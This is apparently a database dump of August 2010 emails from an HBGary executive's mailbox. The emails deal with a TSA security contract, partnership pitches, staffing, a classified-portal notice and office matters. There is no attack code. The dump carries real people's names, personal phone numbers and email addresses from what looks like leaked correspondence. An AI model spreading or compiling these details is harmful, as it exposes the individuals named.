CO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;May 09BS in Information Systems Security&nbsp;&nbsp;Magna Cum Laude (GPA 3.97)&nbsp;MILITARY&nbsp;United States Navy Active Duty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.&nbsp;',2314,'aaron_hbgary_com/2314.html'),(10678,'2010-08-20','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008250.M19824P14101Q5533.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: TSA ITSSS','These are all the tools that TSA currently has in their lab, and also their requirements in the upcoming RFP for cyber security.\r\n \r\n \r\nOn Fri, Aug 20, 2010 at 8:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThere are product requirements in that for the personnel quals it state needs to be familiar with enCase, FTK, and HBGary for digital forensics.  Then there are the capability requirements of needing to set up a malware RE, proactive defense, cyber intelligence capability in 2010, which we believe between HBGary, Fidelis, and HBGary Fed provides a great story to satisfy their growth areas. \r\n\r\nDoes that match?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 11:05 AM, Maria Lucas wrote:\r\n\r\nTed\r\n \r\nCan you confirm that you spoke to Dale briefly and he was surprised that we thought there were product requirements?  \r\n \r\nDo you think this needs to be clarified again... would you or Aaron like me to schedule a call with Dale?\r\n \r\nMaria\r\nOn Fri, Aug 20, 2010 at 7:47 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nThis is the contract, work with Aaron to make sure this isn&#39;t your deal-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]Sent: Wednesday, August 11, 2010 6:57 AMTo: Penny Leavy; Greg HoglundCc: Bob Slapnik; Maria LucasSubject: TSA ITSSS\r\nSo here are some of the requirements for the TSA ITSSS contract in FY10.Most of these capabilities they don&#39;t currently have.  If we win this wewill be implementing the full suite of HBGary Products (AD, Responder, TMC)\r\nand Palantir and Fidelis.DIGITAL FORENSICS:150 Cases for FY10: 50% of those 2+ weeks effort each.Expanded support in Program Analysis and E-Discovery.  Support to CI.Training Development.Will develop a malware reverse engineering capability.\r\nWill develop a malware sandbox network.Will develop advanced processes and procedures to proactively detectintrusions and compromises.COMPUTER NETWORK DEFENSE:FY10 addition of remote systems to TSA SOC Monitoring.\r\nBegin security monitoring of the non-OIT managed IT systems and integratethem with the IAD IR procedures.Will develop a cyber intelligence capability.Aaron\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',12801,'aaron_hbgary_com/12801.html'),(10679,'2010-08-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008250.M955284P14101Q5534.eml','\"Aaron Barr\" <aaron@hbgary.com>','Loose ends','\r\n\r\n\r\n\r\n\r\nLoose ends\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWe need to get a start on hiring folks for ROMAS.&nbsp; If I don&#8217;t hear from you regarding the position descriptions by COB today I will upload the descriptions to recruiting.&nbsp; \r\n\r\nI&#8217;ve attached a soft copy of what the team looks like now.&nbsp; Please check the staffing plan at the end to make sure I have a good sense of who goes where.\r\n\r\n&nbsp;\r\n\r\n &lt;&lt;Coin org.docx&gt;&gt; \r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12684,'aaron_hbgary_com/12684.html'),(10680,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008251.M203696P14101Q5535.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',285,'aaron_hbgary_com/285.html'),(10681,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008251.M462945P14101Q5536.eml','tiffany.gates@mantech.com','Next Step','Hi Tiffany,\r\n\r\nI know there is an exchange of information and such between HBGary and ManTech.  Is it possible to tee up (ok I typed that and decided not to erase it even though having typed it kinda grosses me out \"tee up\", \"run it up the flagpole\" bleh).\r\n\r\nAnyway, will Bills schedule allow for a trip out to see the HBGary folks in Scacremento?\r\n\r\nAaron\r\n\r\n',10433,'aaron_hbgary_com/10433.html'),(10682,'2010-08-20','postmaster@ManTech.com','/aaron@hbgary.com/new/1297008251.M690506P14101Q5537.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','This is an automatically generated Delivery Status Notification.\r\n\r\nDelivery to the following recipients failed.\r\n\r\n       tiffany.gates@mantech.com\r\n\r\n\r\n\r\n',6196,'aaron_hbgary_com/6196.html'),(10683,'2010-08-20','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008251.M908219P14101Q5538.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nThank you for the brief discussion yesterday.&nbsp; When time\r\npermits, can you send me the summary of services that I could insert into an\r\nintroductory email?&nbsp; Also, please send me your positioning preso so I can\r\nbegin to tell the story better on both of our behalf.\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1111,'aaron_hbgary_com/1111.html'),(10684,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008252.M143418P14101Q5539.eml','\"Rich Cummings\" <rich@hbgary.com>','Where are u?','\r\n',10441,'aaron_hbgary_com/10441.html'),(10685,'2010-08-20','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008252.M368130P14101Q5540.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Where are u?','Home office\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, August 20, 2010 1:02 PM\r\nTo: Rich Cummings\r\nSubject: Where are u?\r\n',8822,'aaron_hbgary_com/8822.html'),(10686,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008254.M266114P14101Q5541.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','some thoughts for monday','\r\n',16069,'aaron_hbgary_com/16069.html'),(10687,'2010-08-20','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008254.M524391P14101Q5542.eml','\"Inc. HBGARY\" <All@hbgary.com>','Reminder to input hours in QB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBarbara will be in Monday to do payroll.\r\n\r\n&nbsp;\r\n\r\nHave a great Weekend!!&nbsp; JJJ\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8341,'aaron_hbgary_com/8341.html'),(10688,'2010-08-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008254.M752829P14101Q5543.eml','\"Slapnik Bob\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','University of OK','I just received a call from Sean Ensz who works for the University of\r\nOK IT Security. They are interested in obtaining pricing for 3\r\nResponder Pro licenses for their student lab. Do we offer educational\r\ndiscounts?  They are also interested in 3 Responder Field Ed licenses.\r\nHe would Ike an evaluation license as well.\r\n\r\nIf you can answer these questions I can call him back, or feel free to\r\ncontact him directly.\r\nHis contact info is below.\r\n405-325-3954\r\nEnsz@ou.edu\r\n\r\nTed\r\n',355,'aaron_hbgary_com/355.html'),(10689,'2010-08-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008254.M990365P14101Q5544.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Target Rates','Begin forwarded message:From: Andrew Fehretdinov &lt;afehretdinov@digitalmanagement.com&gt;\r\nDate: August 20, 2010 7:55:00 AM MDTTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Subject: Target Rates\r\n\r\n\r\n\r\n\r\nTed – how are you guys doing on target rates?\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nAndrew Fehretdinov\r\n\r\nDirector of Finance &amp; Contracts\r\n\r\nDigital Management, Inc.\r\n\r\nWork: 240-223-4804\r\n\r\nMobile: 703-946-9261\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7987,'aaron_hbgary_com/7987.html'),(10690,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008258.M684071P14101Q5545.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','Rgr thanks for the reminder Toby.\r\n\r\nAttached is our datasheet that explains our focus on threat intelligence, incident response, and IO.\r\n\r\nAs far as our partnership and combined capability goes this really fits into incident response.  All to often as security vendors we develop capability for the threat today and not the threat tomorrow.  The beautiful thing about HBGary AD and Fidelis XPS technology is it scales for future threats.  How?  Adversaries will continue to make security challenging.  They are like water and look for the path of least resistance, least energy expenditure.  As our dams get bigger they will always find ways around.  Constant cycle.  Adversary technologies to watch out for, that we currently see even, encryption, traffic transfer to legitimate hop points, even through large commercial infrastructures, embedded content.  Malware that looks for mobile devices and egresses when the device is outside a corporate network (on a home or open network).  Lots of things that can be done to make things more difficult to catch, so you have to think about the threat tomorrow.\r\n\r\nHows does HB and Fidelis solve this.  By building a solution that shortens the incident response timeline.  You need to identify and iradicate as quickly as possible and move on.  The goal here is not clean systems, but mission assurance and business continuity, however that can happen.  So XPS analyzes on the wire and passes intelligence to AD to scan this box, take this action.  Likewise, AD can find something embedded down in the environment and pass policy back to XPS to take this action, notify this person, etc.  This combined with what we are working on in the threat intelligence space, eventually you can develop indicators and warning prior or at the beginning of an attack to block or mitigate an attack.  The right policies are critical for XPS here to be ultimately successful in a current and future threat environment I think.  There are too many things an adversary can do with malware and egress.\r\n\r\nWhat am I missing?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Aug 20, 2010, at 12:53 PM, Richardson, Toby wrote:\r\n\r\n> Aaron\r\n>  \r\n> Thank you for the brief discussion yesterday.  When time permits, can you send me the summary of services that I could insert into an introductory email?  Also, please send me your positioning preso so I can begin to tell the story better on both of our behalf.\r\n>  \r\n> -tr\r\n>  \r\n> Toby Richardson\r\n> Director, Western Region\r\n>  Fidelis Security\r\n> Dallas, Texas\r\n> Phone:  214.505.3136\r\n>  \r\n> http://www.fidelissecurity.com\r\n>  \r\n> See It in Action: Fidelis XPS™ Latest Threat Migitation Features\r\n> Read All About It:  Fidelis XPS Prevents Advanced Cyber Threats\r\n>  \r\n\r\n',464,'aaron_hbgary_com/464.html'),(10691,'2010-08-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008259.M634287P14101Q5546.eml','\"Barr Aaron\" <aaron@hbgary.com>','Rates','\r\n\r\n',2710,'aaron_hbgary_com/2710.html'),(10692,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008260.M9723P14101Q5547.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Cybersecurity Advertising Opportunity','Any interest?AaronBegin forwarded message:From: \"Scott  Rogers\" &lt;scott@executivebiz.com&gt;Date: August 9, 2010 11:38:31 AM EDTTo: Undisclosed recipients:;Subject: Cybersecurity Advertising Opportunity  I wanted to reach out to you regarding our forthcoming issue of GovConExec magazine. Our cover story will be on Cyber Warriors in the government contracting community. The thrust of the article centers around the current dearth of cyber professionals in the public sector. As a result, the government has turned to government contractors who are able to conduct the work in an effective and efficient manner, helping to secure the nation’s digital infrastructure. The article is intended to highlight the positive contributions that the private sector is making to securing the United States against the threat of cyber attacks that target government and critical infrastructure.&nbsp;&nbsp;&nbsp;In anticipation of the article, we are offering special advertising rates for companies engaged in cybersecurity.&nbsp;Inside One Page (8 ½ X 11)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $2,590&nbsp;&nbsp;Front Inside Cover - Fold Out (17 X 11)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $4,125Back Inside Cover (8 ½ X 11)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $3,120Back Cover (8 ½ X 11) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOLD&nbsp;&nbsp;&nbsp;&nbsp;Inside half pages 